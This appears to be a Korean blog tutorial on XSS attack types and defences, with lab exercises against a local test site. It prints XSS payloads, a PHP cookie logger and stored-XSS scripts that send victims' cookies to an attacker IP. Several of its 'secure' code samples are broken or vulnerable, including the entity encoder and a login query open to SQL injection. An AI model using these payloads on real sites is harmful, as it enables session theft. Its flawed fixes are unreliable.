XSS란?
XSS(Cross-Site Scripting)란 동적으로 출력하는 페이지에 대해 클라이언트 언어(Client Side Script)로 작성된 악의적인 스크립트를 삽입하여 비정상적인 행위를 하는 공격을 말한다. 서버 측 공격이 아닌 클라이언트 측 공격이다.
- Client Side Script
- HTML
- CSS
- JS
💡 CSS가 아닌 XSS인 이유
CSS와 동의어가 되기 때문에 혼동이 발생하는 것을 막고자 Cross를 X로 표현하였다.
클라이언트 언어로 작성된 스크립트가 실행되면서 A라는 사이트에서 B라는 사이트로 이동되는 형식의 공격이다.
공격 대상
1. 기능적인 공격 대상
사용자 입력 값을 통해 동적인 웹페이지를 구성한다면 모든 기능이 공격 대상이 된다. 이는 잠재적인 XSS 위협에 노출로 이어진다.
사용자 입력 값이 웹페이지 내에 출력되지 않아도 실제 클라이언트 단의 소스코드 내 히든값에 존재하기 때문에 공격이 가능하다.
2. 엔드 포인트 단의 공격 대상
방화벽의 등장으로 웹해킹의 빈도가 높아지면서 웹 보안의 관심도 높아졌다. 이를 통해 기업의 보안성이 많이 올라가면서 공격의 트렌드가 서버측 공격에서 클라이언트측 공격으로 바뀌었다. 즉, 공격자들은 다수의 사용자의 PC를 공격한다.
공격 유형
1. 피싱
악의적인 사용자가 유도한 사이트로 다이렉션한다.
2. 악성코드 유포
웹브라우저의 취약점을 이용하여 다운로드 권한을 획득한다. 이후 악성코드를 다운로드 및 실행한 후 설치한다. 최근에는 랜섬웨어가 대표적이다.
3. XSS Tunnel(XSS Shell)
사용자 웹 브라우저의 권한을 획득하여 사용자가 할 수 있는 대부분의 행위를 수행한다.
4. 세션 하이재킹
사용자의 세션을 탈취 후 세션을 재사용하거나 권한을 탈취한다.
5. CSRF
악성 스크립트에 의해 악의적인 사용자가 의도한 행위를 수행한다.
공격 기법
1. DOM-BASED XSS
- 웹 브라우저에서 사용자 입력 값을 통해 동적 페이지를 구성한다.
- Non-persistent Cross-Site Scripting 중 하나이다.
2. REFLECTED XSS
- 서버 측에서 사용자 입력 값을 통해 동적 페이지를 구성한다.
- 사용자의 입력 값을 통해 반환된 악성 스크립트가 담긴 URL이 사용자의 웹브라우저에서 호출될 경우 스크립팅이 발생한다.
- Non-persistent Cross-Site Scripting 중 하나이다.
3. STROED XSS
- 데이터베이스에 저장된 데이터를 통해 동적 페이지를 구성한다.
- 공격자가 악의적인 스크립트를 DB에 저장해둔다. 이후 사용자가 악성 스크립트가 담긴 DB의 특정 레코드를 참조하면 해당 스크립트를 통해 스크립팅이 발생한다.
- Persistent Cross-Site Scripting이라고 불린다.
공격 원리 분석
1. DOM-BASED XSS
- 공격자가 사용자에게 악성 스크립트가 담긴 URL을 전달한다. 이때 URL의 도메인은 공격자의 서버가 아니라 웹 서비스이다.
- 웹서비스로 접속한다. 이때 응답 메시지 바디에 악성 스크립트가 실리지 않는다.
- 응답 받은 자바스크립트를 해석할 때 URL을 참조하여 악성 스크립트가 담긴 페이지를 구성한다.
- 스크립트가 실행되면서 공격자가 의도한 행위가 발생한다.
2. Reflected XSS
- 공격자가 사용자에게 악성 스크립트가 담긴 URL을 전달한다. 이때 URL의 도메인은 공격자의 서버가 아니라 웹 서비스이다.
- 웹서비스에 접속한다. 이때 사용자의 입력 값을 통해 악성 스크립트가 담긴 페이지를 구성한다. 즉, 응답 메시지 바디에 악성 스크립트가 실린다.
- 스크립트가 실행되면서 공격자가 의도한 행위가 발생한다.
3. Stored XSS
- 공격자는 사용자가 아니라 웹서비스 DB에 악성 스크립트를 저장해 둔다. (게시글, 댓글 등을 통해)
- 사용자가 특정 악성 스크립트가 담긴 게시글을 조회한다.
- DB에 저장된 악성 스크립트가 호출되면서 악성 스크립트가 담긴 페이지가 구성된다.
- 스크립트가 실행되면서 공격자가 의도한 행위가 발생한다.
[실습 1] DOM-BASED XSS 공격 실습
XSS 취약성 확인 방법
alert()
confirm()
prompt()
공격 스크립트
<script>alert(document.cookie)</script>
<img src="" oneerror="alert(document.cookie)">
http://127.0.0.1/insecure_website/dom.php?page=<script>alert(document.cookie)</script>
http://127.0.0.1/insecure_website/dom.php?page=<img src="" oneerror="alert(document.cookie)">
[실습 2] REFLECTED XSS 공격 실습
http://127.0.0.1/insecure_website/xss.php?value=<script>alert(document.cookie)</script>
[실습 3] STORED XSS 공격 실습
게시판 글쓰기를 통해 공격을 수행한다. 이때 스크립트를 contents에 추가한다.
세션 하이재킹에 대한 이해와 공격 원리 분석
세션 하이재킹에 대한 이해
세션 하이재킹(Session Hijacking)이란 세션 탈취를 통해 아이디, 패스워드를 몰라도 사용자 계정을 도용하는 공격이다.
공격 원리 분석
- XSS이 취약한 게시판에 악성 스크립트가 담긴 글을 남긴다.
- 사용자가 악성 스크립트가 담긴 글을 조회한다.
- 게시글에 스크립트가 발생한다. 해당 스크립트에는 공격자 서버로 세션을 보내라는 명렁어가 담겨 있다.
- 공격자는 해당 세션을 가지고 사용자의 권한을 도용하여 사용자 행세를 한다.
[실습 4] 세션 하이재킹 공격 실습
공격자 IP: 192.168.0.200
관리자 IP: 192.168.0.101
1. session/session.php
세션을 얻어와 서버 정보를 rowdata.txt 파일을 작성하는 스크립트가 담긴 파일을 작성한다.
<?php
$session = $_GET["session"];
$ip = $_SERVER["REMOTE_ADDR"];
$date = date("Y-m-d H:i:s", time());
$fp = fopen("rowdata.txt", "a");
fwrite($fp, "($date} | {$ip} | {$session} \\r\\n");
fclose($fp);
?>
2-1. 게시판 글 작성(리다이렉션.ver)
<script>location.href="<http://192.168.0.200/session/session.php?session=>"+document.cookie</script>
location의 href 속성에 새션하이재킹 코드가 있는 스크립트를 게시판 글로 작성한다.
공격자IP/session/session.php로 쿼리 파라미터 session에 접속한 사용자의 cookie값을 담아서 전송하는 스크립트이다.
해당 스크립트는 사용자가 글을 열람할 경우 작성된 url로 리다이렉트된다.
2-2. 게시판 글 작성(리다이렉션X.ver)
<script>new Image().src="http://192.168.0.200/session/session.php?session="+document.cookie</script>
이미지 객체를 통해 src() 속성에 세션하이재킹 코드가 있는 스크립트를 게시판 글로 작성한다.
공격자IP/session/session.php로 쿼리 파라미터 session에 접속한 사용자의 cookie값을 담아서 전송하는 스크립트이다.
해당 스크립트는 사용자가 글을 열람할 경우 작성된 url로 리다이렉트되지 않는다.
3. 탈취한 세션을 통해 관리자 권한 획득
관리자 권한을 가진 사용자가 게시판 글을 클릭하면 스크립트가 실행되면서 공격자 PC의 rowdata.txt에 세션 정보가 작성된다.
공격자는 해당 세션 정보를 이용하여 set_cookie에 탈취한 세션을 입력하고 요청을 전송하면 관리자 권한으로 웹 페이지에 접속할 수 있다.
[실습5] MyPage에 대한 XSS 공격과 꺽쇠 문자 없이 XSS 공격 실습
스크립트
해커"><script>alert(document.cookie);</script>"
<input type="text" class="form-control" name="name" placeholder="Name Input" value="해커"><script>alert(document.cookie);</script>">
이벤트 핸들러
해커" onfocus="alert(document.cookie)" autofocus=""
<input type="text" class="form-control" name="name" placeholder="Name Input" value="해커" onfocus="alert(document.cookie)" autofocus="">
대응 방안
XSS는 서비스와 보안이 trade-off 관계이기 때문에 대응하기 까다로운 취약점이다.
XSS 공격 유형 별로 살펴보는 필수 문자
- Body 내 출력되는 예시
- <,>(꺽쇠)가 반드시 필요하다.
<script>alert("XSS")</script>
- 태그 내 출력되는 예시
- “(더블쿼터)가 반드시 필요하다.
<input type="text" name="email" value"" onfocus="alert('XSS')" autofocus="">
- Script 태그 내 출력되는 예시 - 문자형
- “(더블쿼터) 또는 ‘(싱글쿼터)가 반드시 필요하다.
<script> var value = "";alert("XSS");//"; </script>
- Script 태그 내 출력되는 예시 - 숫자형
- 숫자 대신 alert(”XSS”)가 입력된다.
<script> var idx = alert("XSS"); </script>
입력 값 용도에 따른 대응 프로세스
사용자의 입력값의 용도를 파악하고 그에 맞는 대응을 수행해야 한다.
- 대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 숫자
- 대응 방안(2) : 정규 표현식을 통한 입력 값 검증 - 단순 문자(+숫자)
- 대응 방안(3) : 정규 표현식을 통한 입력 값 검증 - 문자 + 특수 문자
- 대응 방안(4) : 보안 라이브러리
- 대응 방안(4) : HTML Entity Encoding
[실습6] 취약 환경 시큐어 코딩 적용 실습
reflected xss 취약점
<?
include_once("./common.php");
$value = $_GET["value"];
if(!preg_match("/^[a-zA-Z]*$/", $value)) { # 정규표현식을 통해 입력값 검증
echo "<script>alert('정상적인 입력 값이 아닙니다');history.back(-1)</script>";
exit();
}
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">"<?=$value?>" Page Not Found</h1>
<hr>
</div>
stored xss 취약점
xss_html_entity()와 xss_html()를 정의하고 용도에 맞게 적용한다.
<?php
header("Content-Type: text/html; charset=UTF-8;");
$tb_name = "insecure_board";
$upload_path = "upload";
function mysql_conn() {
$host = "127.0.0.1";
$id = "root";
$pw = "root";
$db = "pentest";
$db_conn = new mysqli($host, $id, $pw, $db);
return $db_conn;
}
function xss_html_entity($value) {
$value = str_replace("<", "<", $value);
$value = str_replace(">", ">", $value);
$value = str_replace("\\"", """, $value);
return $value;
}
function xss_html($value) {
// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
require_once('./htmlpurifier/library/HTMLPurifier.auto.php');
// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
$config = HTMLPurifier_Config::createDefault();
$config->set('Attr.EnableID', false);
$config->set('Attr.DefaultImageAlt', '');
// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
$config->set('AutoFormat.Linkify', true);
// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
$config->set('HTML.MaxImgLength', null);
$config->set('CSS.MaxImgLength', null);
// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
$config->set('Core.Encoding', 'UTF-8');
// 필요에 따라 DOCTYPE 바꿔쓰세요.
$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
// 플래시 삽입 허용
$config->set('HTML.FlashAllowFullScreen', true);
$config->set('HTML.SafeEmbed', true);
$config->set('HTML.SafeIframe', true);
$config->set('HTML.SafeObject', true);
$config->set('Output.FlashCompat', true);
// 최근 많이 사용하는 iframe 동영상 삽입 허용
$config->set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
'www\\\\.youtube(?:-nocookie)?\\\\.com/',
'maps\\\\.google\\\\.com/',
'player\\\\.vimeo\\\\.com/video/',
'www\\\\.microsoft\\\\.com/showcase/video\\\\.aspx',
'(?:serviceapi\\\\.nmv|player\\\\.music)\\\\.naver\\\\.com/',
'(?:api\\\\.v|flvs|tvpot|videofarm)\\\\.daum\\\\.net/',
'v\\\\.nate\\\\.com/',
'play\\\\.mgoon\\\\.com/',
'channel\\\\.pandora\\\\.tv/',
'www\\\\.tagstory\\\\.com/',
'play\\\\.pullbbang\\\\.com/',
'tv\\\\.seoul\\\\.go\\\\.kr/',
'ucc\\\\.tlatlago\\\\.com/',
'vodmall\\\\.imbc\\\\.com/',
'www\\\\.musicshake\\\\.com/',
'www\\\\.afreeca\\\\.com/player/Player\\\\.swf',
'static\\\\.plaync\\\\.co\\\\.kr/',
'video\\\\.interest\\\\.me/',
'player\\\\.mnet\\\\.com/',
'sbsplayer\\\\.sbs\\\\.co\\\\.kr/',
'img\\\\.lifestyler\\\\.co\\\\.kr/',
'c\\\\.brightcove\\\\.com/',
'www\\\\.slideshare\\\\.net/',
)).')#');
// 설정을 저장하고 필터링 라이브러리 초기화
$purifier = new HTMLPurifier($config);
// HTML 필터링 실행
$html = $purifier->purify($html);
return $html;
}
?>
[실습7] 세션 하이재킹 공격 대응 실습
세션 하이재킹을 막는 방법
1. XSS 방어
2. HTTPOnly 헤더
document.cookie 객체 접근 불가능
- php.ini
session.cookie_httponly = On
3. 세션 발급 시 인증 IP 넣기(IP 검증)
서버에 세션과 IP를 같이 저장해두고, 사용자가 세션을 통해 접근할 때 사용자의 IP를 같이 확인한다.
매번 페이지를 이동할 때마다 검증을 수행해야 한다는 단점이 존재한다.
- common.php
<?php
header("Content-Type: text/html; charset=UTF-8;");
$tb_name = "insecure_board";
$upload_path = "upload";
if(!empty($_SESSION["id"])) { # 세션에 저장된 IP와 사용자의 IP 비교
if($_SESSION["ip"] != $_SERVER["REMOTE_ADDR"]) {
echo = "<script>locaion.href='logout.php'</script>";
exit();
}
}
function mysql_conn() {
$host = "127.0.0.1";
$id = "root";
$pw = "root";
$db = "pentest";
$db_conn = new mysqli($host, $id, $pw, $db);
return $db_conn;
}
?>
common.php로그인이 되었고, 로그인한 사용자의 ip와 세션과 함께 저장된 ip가 같지 않으면 logout 페이지로 리다이렉트시킨다.
- login.php
<?
$db_conn = mysql_conn();
if(!empty($_SESSION["id"])) {
echo "<script>location.href='index.php';</script>";
exit();
}
$id = $_POST["id"];
$password = $_POST["password"];
if(!empty($id) && !empty($password)) {
$password = md5($password);
$query = "select * from members where id='{$id}' and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num != 0) {
$row = $result->fetch_assoc();
$_SESSION["id"] = $row["id"];
$_SESSION["name"] = $row["name"];
$_SESSION["ip"] = $_SERVER["REMOTE_ADDR"]; # ip도 세션에 함께 저장
echo "<script>location.href='index.php';</script>";
} else {
echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
exit();
}
}
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">Login Page</h1>
<hr>
</div>
<div class="row">
<div class="col-md">
<form class="needs-validation" action="index.php?page=login" method="POST" novalidate>
<div class="mb-3">
<label for="username">ID</label>
<div class="input-group">
<input type="text" class="form-control" name="id" id="username" placeholder="Username" required>
</div>
</div>
<div class="mb-3">
<label>Password</label>
<input type="password" class="form-control" name="password" placeholder="Password" required>
<div class="invalid-feedback">
(필수) 패스워드를 입력하세요.
</div>
</div>
<hr class="mb-4">
<button class="btn btn-info btn-sm btn-block" type="submit">LOGIN</button>
</form>
</div>
</div>
</div>
'Security > Web Hacking' 카테고리의 다른 글
[WebHacking] 파일 다운로드 취약점 (0) | 2024.05.15 |
---|---|
[WebHacking] CSRF(Cross-Site Request Forgery) 공격 (0) | 2024.05.13 |
[WebHacking] XXE Injection 공격 (0) | 2024.04.28 |
[WebHacking] OS Command Injection 공격 (0) | 2024.04.28 |
[WebHacking] SQL Injection 공격 (1) | 2024.04.28 |